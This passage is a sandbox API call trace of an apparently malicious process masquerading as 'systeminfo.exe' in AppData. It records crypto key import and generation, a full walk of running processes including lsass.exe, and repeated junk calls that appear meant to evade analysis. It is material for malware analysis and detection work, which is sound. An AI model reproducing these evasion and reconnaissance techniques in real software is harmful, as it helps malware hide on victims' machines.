0x1b71e [0048.791] lstrlenA (lpString="just string") returned 11 [0048.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0048.791] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 0 [0048.791] GetLastError () returned 0x0 [0049.790] GetTickCount () returned 0x1bb04 [0049.790] CryptAcquireContextW (in: phProv=0xac284, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0xac284*=0x3c63a0) returned 1 [0049.825] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0xa12f8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x290f598, pcbStructInfo=0x290f59c | out: pvStructInfo=0x290f598, pcbStructInfo=0x290f59c) returned 1 [0049.827] GetCurrentProcess () returned 0xffffffff [0049.827] GetLastError () returned 0x0 [0049.827] wsprintfA (in: param_1=0x290f507, param_2="%X%P" | out: param_1="1F045P") returned 6 [0049.827] SetLastError (dwErrCode=0x0) [0049.827] GetCurrentProcessId () returned 0x81c [0049.827] CryptImportKey (in: hProv=0x3c63a0, pbData=0x3b0258, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0xac288 | out: phKey=0xac288*=0x3c6328) returned 1 [0049.828] LocalFree (hMem=0x3b0258) returned 0x0 [0049.828] GetLastError () returned 0x0 [0049.828] wsprintfA (in: param_1=0x290f507, param_2="%X%P" | out: param_1="1F046P") returned 6 [0049.828] SetLastError (dwErrCode=0x0) [0049.828] GetCurrentProcessId () returned 0x81c [0049.828] CryptGenKey (in: hProv=0x3c63a0, Algid=0x660e, dwFlags=0x1, phKey=0xac28c | out: phKey=0xac28c*=0x3c6db8) returned 1 [0049.829] GetCurrentProcessId () returned 0x81c [0049.829] CryptCreateHash (in: hProv=0x3c63a0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0xac290 | out: phHash=0xac290) returned 1 [0049.829] GetCurrentProcessId () returned 0x81c [0050.788] GetTickCount () returned 0x1beeb [0050.788] GetCurrentProcessId () returned 0x81c [0050.788] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x290f388, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0050.788] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0050.788] lstrlenA (lpString="just string") returned 11 [0050.788] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0050.790] GetLastError () returned 0x0 [0050.790] Process32FirstW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.790] GetLastError () returned 0x0 [0050.790] wsprintfA (in: param_1=0x290f0ab, param_2="%X%P" | out: param_1="1F064P") returned 6 [0050.790] SetLastError (dwErrCode=0x0) [0050.790] GetCurrentProcessId () returned 0x81c [0050.790] GetCurrentProcessId () returned 0x81c [0050.790] GetCurrentProcessId () returned 0x81c [0050.790] lstrcpyW (in: lpString1=0x3c758c, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0050.790] GetCurrentProcessId () returned 0x81c [0050.790] GetCurrentProcessId () returned 0x81c [0050.791] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.791] lstrlenA (lpString="just string") returned 11 [0050.791] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.791] GetLastError () returned 0x0 [0050.791] GetCurrentProcessId () returned 0x81c [0050.791] lstrcpyW (in: lpString1=0x3c77a4, lpString2="System" | out: lpString1="System") returned="System" [0050.791] GetCurrentProcess () returned 0xffffffff [0050.791] GetLastError () returned 0x0 [0050.791] wsprintfA (in: param_1=0x290f09f, param_2="%X%P" | out: param_1="1F09FP") returned 6 [0050.791] SetLastError (dwErrCode=0x0) [0050.791] GetCurrentProcessId () returned 0x81c [0050.791] GetLastError () returned 0x0 [0050.791] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F0A0P") returned 6 [0050.791] SetLastError (dwErrCode=0x0) [0050.791] GetCurrentProcessId () returned 0x81c [0050.791] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.792] GetCurrentProcessId () returned 0x81c [0050.792] GetCurrentProcessId () returned 0x81c [0050.792] GetCurrentProcessId () returned 0x81c [0050.792] GetCurrentProcessId () returned 0x81c [0050.792] lstrcpyW (in: lpString1=0x3c79bc, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0050.792] lstrlenA (lpString="just string") returned 11 [0050.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.792] GetLastError () returned 0x0 [0050.792] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.792] GetCurrentProcessId () returned 0x81c [0050.792] GetCurrentProcessId () returned 0x81c [0050.792] GetCurrentProcessId () returned 0x81c [0050.792] lstrcpyW (in: lpString1=0x3c7bd4, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0050.792] lstrlenA (lpString="just string") returned 11 [0050.792] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.792] GetLastError () returned 0x0 [0050.792] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.793] GetCurrentProcessId () returned 0x81c [0050.793] GetCurrentProcessId () returned 0x81c [0050.793] lstrlenA (lpString="just string") returned 11 [0050.793] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.793] lstrcpyW (in: lpString1=0x3c7dec, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0050.793] GetLastError () returned 0x0 [0050.793] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.793] GetLastError () returned 0x0 [0050.793] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.794] SetLastError (dwErrCode=0x0) [0050.794] GetCurrentProcess () returned 0xffffffff [0050.794] GetLastError () returned 0x0 [0050.794] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F0EEP") returned 6 [0050.794] SetLastError (dwErrCode=0x0) [0050.794] GetCurrentProcessId () returned 0x81c [0050.794] GetCurrentProcess () returned 0xffffffff [0050.794] GetLastError () returned 0x0 [0050.794] wsprintfA (in: param_1=0x290f0ab, param_2="%X%P" | out: param_1="1F0EFP") returned 6 [0050.794] SetLastError (dwErrCode=0x0) [0050.794] GetCurrentProcessId () returned 0x81c [0050.794] GetCurrentProcessId () returned 0x81c [0050.794] GetLastError () returned 0x0 [0050.794] wsprintfA (in: param_1=0x290f09f, param_2="%X%P" | out: param_1="1F0F0P") returned 6 [0050.794] SetLastError (dwErrCode=0x0) [0050.794] GetCurrentProcessId () returned 0x81c [0050.794] GetCurrentProcessId () returned 0x81c [0050.794] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.794] GetCurrentProcessId () returned 0x81c [0050.794] GetCurrentProcessId () returned 0x81c [0050.794] GetCurrentProcessId () returned 0x81c [0050.794] lstrlenA (lpString="just string") returned 11 [0050.794] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.794] lstrcpyW (in: lpString1=0x3c8004, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0050.794] GetLastError () returned 0x0 [0050.794] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.795] GetLastError () returned 0x0 [0050.795] GetCurrentProcessId () returned 0x81c [0050.795] GetCurrentProcessId () returned 0x81c [0050.795] lstrcpyW (in: lpString1=0x3c821c, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0050.795] lstrlenA (lpString="just string") returned 11 [0050.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.795] GetLastError () returned 0x0 [0050.795] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.795] GetCurrentProcessId () returned 0x81c [0050.795] GetCurrentProcessId () returned 0x81c [0050.795] lstrlenA (lpString="just string") returned 11 [0050.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.795] lstrcpyW (in: lpString1=0x3c8434, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0050.795] GetLastError () returned 0x0 [0050.795] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.796] GetCurrentProcessId () returned 0x81c [0050.796] GetCurrentProcessId () returned 0x81c [0050.796] GetCurrentProcessId () returned 0x81c [0050.796] lstrlenA (lpString="just string") returned 11 [0050.796] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.796] lstrcpyW (in: lpString1=0x3c864c, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0050.796] GetLastError () returned 0x0 [0050.796] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.796] GetCurrentProcessId () returned 0x81c [0050.796] GetLastError () returned 0x0 [0050.796] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.797] SetLastError (dwErrCode=0x0) [0050.797] GetCurrentProcess () returned 0xffffffff [0050.797] GetLastError () returned 0x0 [0050.797] wsprintfA (in: param_1=0x290f09b, param_2="%X%P" | out: param_1="1F1ACP") returned 6 [0050.797] SetLastError (dwErrCode=0x0) [0050.797] GetCurrentProcessId () returned 0x81c [0050.797] lstrcpyW (in: lpString1=0x3c8864, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0050.797] GetCurrentProcess () returned 0xffffffff [0050.797] GetLastError () returned 0x0 [0050.797] wsprintfA (in: param_1=0x290f09f, param_2="%X%P" | out: param_1="1F1ADP") returned 6 [0050.797] SetLastError (dwErrCode=0x0) [0050.797] GetCurrentProcessId () returned 0x81c [0050.797] GetLastError () returned 0x0 [0050.797] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F1AEP") returned 6 [0050.797] SetLastError (dwErrCode=0x0) [0050.797] GetCurrentProcessId () returned 0x81c [0050.797] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.797] GetCurrentProcessId () returned 0x81c [0050.797] GetCurrentProcessId () returned 0x81c [0050.797] GetCurrentProcessId () returned 0x81c [0050.797] GetCurrentProcessId () returned 0x81c [0050.797] lstrlenA (lpString="just string") returned 11 [0050.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.797] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.798] GetLastError () returned 0x0 [0050.798] GetCurrentProcessId () returned 0x81c [0050.798] GetCurrentProcessId () returned 0x81c [0050.798] GetCurrentProcessId () returned 0x81c [0050.798] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.798] lstrlenA (lpString="just string") returned 11 [0050.798] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.798] GetLastError () returned 0x0 [0050.798] GetCurrentProcessId () returned 0x81c [0050.798] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.799] GetLastError () returned 0x0 [0050.799] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F230P") returned 6 [0050.799] SetLastError (dwErrCode=0x0) [0050.799] GetCurrentProcessId () returned 0x81c [0050.799] GetCurrentProcessId () returned 0x81c [0050.799] GetCurrentProcessId () returned 0x81c [0050.799] GetCurrentProcessId () returned 0x81c [0050.799] GetCurrentProcessId () returned 0x81c [0050.799] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.799] lstrlenA (lpString="just string") returned 11 [0050.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.799] GetLastError () returned 0x0 [0050.799] GetCurrentProcessId () returned 0x81c [0050.799] lstrcpyW (in: lpString1=0x3c8a7c, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0050.799] GetLastError () returned 0x0 [0050.799] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.800] SetLastError (dwErrCode=0x0) [0050.800] GetCurrentProcess () returned 0xffffffff [0050.800] GetLastError () returned 0x0 [0050.800] wsprintfA (in: param_1=0x290f09f, param_2="%X%P" | out: param_1="1F242P") returned 6 [0050.800] SetLastError (dwErrCode=0x0) [0050.800] GetCurrentProcessId () returned 0x81c [0050.800] GetCurrentProcess () returned 0xffffffff [0050.800] GetLastError () returned 0x0 [0050.800] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F243P") returned 6 [0050.800] SetLastError (dwErrCode=0x0) [0050.800] GetCurrentProcessId () returned 0x81c [0050.800] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.800] GetLastError () returned 0x0 [0050.800] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F244P") returned 6 [0050.800] SetLastError (dwErrCode=0x0) [0050.800] GetCurrentProcessId () returned 0x81c [0050.800] GetCurrentProcessId () returned 0x81c [0050.800] GetCurrentProcessId () returned 0x81c [0050.800] GetCurrentProcessId () returned 0x81c [0050.800] GetCurrentProcessId () returned 0x81c [0050.800] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.801] lstrlenA (lpString="just string") returned 11 [0050.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.801] GetLastError () returned 0x0 [0050.801] GetCurrentProcessId () returned 0x81c [0050.801] GetCurrentProcess () returned 0xffffffff [0050.801] GetLastError () returned 0x0 [0050.801] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F257P") returned 6 [0050.801] SetLastError (dwErrCode=0x0) [0050.801] GetCurrentProcessId () returned 0x81c [0050.801] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.801] GetLastError () returned 0x0 [0050.801] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F258P") returned 6 [0050.801] SetLastError (dwErrCode=0x0) [0050.801] GetCurrentProcessId () returned 0x81c [0050.801] GetCurrentProcessId () returned 0x81c [0050.801] GetCurrentProcessId () returned 0x81c [0050.801] GetCurrentProcessId () returned 0x81c [0050.801] lstrcpyW (in: lpString1=0x3c8c94, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0050.801] GetCurrentProcessId () returned 0x81c [0050.802] lstrlenA (lpString="just string") returned 11 [0050.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.802] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.802] GetLastError () returned 0x0 [0050.802] GetCurrentProcessId () returned 0x81c [0050.802] GetLastError () returned 0x0 [0050.802] wsprintfA (in: param_1=0x290f09f, param_2="%X%P" | out: param_1="1F276P") returned 6 [0050.802] SetLastError (dwErrCode=0x0) [0050.802] GetCurrentProcessId () returned 0x81c [0050.802] GetCurrentProcessId () returned 0x81c [0050.802] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0050.803] GetCurrentProcessId () returned 0x81c [0050.803] GetCurrentProcessId () returned 0x81c [0050.803] GetCurrentProcessId () returned 0x81c [0050.803] lstrlenA (lpString="just string") returned 11 [0050.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.803] lstrcpyW (in: lpString1=0x3c8eac, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0050.803] GetLastError () returned 0x0 [0050.803] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.803] GetCurrentProcessId () returned 0x81c [0050.803] GetCurrentProcessId () returned 0x81c [0050.803] GetCurrentProcessId () returned 0x81c [0050.803] GetCurrentProcessId () returned 0x81c [0050.803] lstrcpyW (in: lpString1=0x3c90c4, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0050.803] lstrlenA (lpString="just string") returned 11 [0050.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.803] GetLastError () returned 0x0 [0050.803] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x314, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.805] GetCurrentProcess () returned 0xffffffff [0050.805] GetLastError () returned 0x0 [0050.805] wsprintfA (in: param_1=0x290f0ab, param_2="%X%P" | out: param_1="1F2E3P") returned 6 [0050.805] SetLastError (dwErrCode=0x0) [0050.805] GetCurrentProcessId () returned 0x81c [0050.805] GetCurrentProcessId () returned 0x81c [0050.805] GetLastError () returned 0x0 [0050.805] wsprintfA (in: param_1=0x290f09b, param_2="%X%P" | out: param_1="1F2E4P") returned 6 [0050.805] SetLastError (dwErrCode=0x0) [0050.805] GetCurrentProcessId () returned 0x81c [0050.805] lstrcpyW (in: lpString1=0x3c92dc, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0050.805] GetCurrentProcessId () returned 0x81c [0050.805] GetCurrentProcessId () returned 0x81c [0050.805] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x544, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.805] GetCurrentProcessId () returned 0x81c [0050.805] lstrlenA (lpString="just string") returned 11 [0050.805] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.805] GetCurrentProcessId () returned 0x81c [0050.805] GetLastError () returned 0x0 [0050.805] lstrcpyW (in: lpString1=0x3c94f4, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0050.805] lstrlenA (lpString="just string") returned 11 [0050.806] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.806] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.806] GetLastError () returned 0x0 [0050.806] GetCurrentProcessId () returned 0x81c [0050.806] lstrcpyW (in: lpString1=0x3c9724, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0050.806] GetLastError () returned 0x0 [0050.806] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.806] SetLastError (dwErrCode=0x0) [0050.806] GetCurrentProcess () returned 0xffffffff [0050.806] GetLastError () returned 0x0 [0050.806] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F382P") returned 6 [0050.806] SetLastError (dwErrCode=0x0) [0050.806] GetCurrentProcessId () returned 0x81c [0050.806] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.807] GetCurrentProcess () returned 0xffffffff [0050.807] GetLastError () returned 0x0 [0050.807] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F383P") returned 6 [0050.807] SetLastError (dwErrCode=0x0) [0050.807] GetCurrentProcessId () returned 0x81c [0050.807] GetLastError () returned 0x0 [0050.807] wsprintfA (in: param_1=0x290f0ab, param_2="%X%P" | out: param_1="1F384P") returned 6 [0050.807] SetLastError (dwErrCode=0x0) [0050.807] GetCurrentProcessId () returned 0x81c [0050.807] GetCurrentProcessId () returned 0x81c [0050.807] GetCurrentProcessId () returned 0x81c [0050.807] GetCurrentProcessId () returned 0x81c [0050.807] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0050.807] GetCurrentProcessId () returned 0x81c [0050.807] lstrlenA (lpString="just string") returned 11 [0050.807] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.807] GetCurrentProcessId () returned 0x81c [0050.807] GetLastError () returned 0x0 [0050.807] lstrcpyW (in: lpString1=0x3c994c, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0050.807] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x258, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.808] GetLastError () returned 0x0 [0050.808] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.808] SetLastError (dwErrCode=0x0) [0050.808] GetCurrentProcess () returned 0xffffffff [0050.808] GetLastError () returned 0x0 [0050.808] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F3BEP") returned 6 [0050.808] SetLastError (dwErrCode=0x0) [0050.808] GetCurrentProcessId () returned 0x81c [0050.808] GetCurrentProcess () returned 0xffffffff [0050.808] GetLastError () returned 0x0 [0050.808] wsprintfA (in: param_1=0x290f0ab, param_2="%X%P" | out: param_1="1F3BFP") returned 6 [0050.808] SetLastError (dwErrCode=0x0) [0050.808] GetCurrentProcessId () returned 0x81c [0050.808] GetCurrentProcessId () returned 0x81c [0050.808] GetLastError () returned 0x0 [0050.808] wsprintfA (in: param_1=0x290f09b, param_2="%X%P" | out: param_1="1F3C0P") returned 6 [0050.808] SetLastError (dwErrCode=0x0) [0050.808] GetCurrentProcessId () returned 0x81c [0050.808] lstrcpyW (in: lpString1=0x3c9b74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0050.808] GetCurrentProcessId () returned 0x81c [0050.808] GetCurrentProcessId () returned 0x81c [0050.808] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.809] GetCurrentProcessId () returned 0x81c [0050.809] lstrlenA (lpString="just string") returned 11 [0050.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.809] GetCurrentProcessId () returned 0x81c [0050.809] GetLastError () returned 0x0 [0050.809] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="turner_construction_solve_cialis.exe")) returned 1 [0050.809] GetCurrentProcessId () returned 0x81c [0050.809] GetCurrentProcessId () returned 0x81c [0050.809] lstrlenA (lpString="just string") 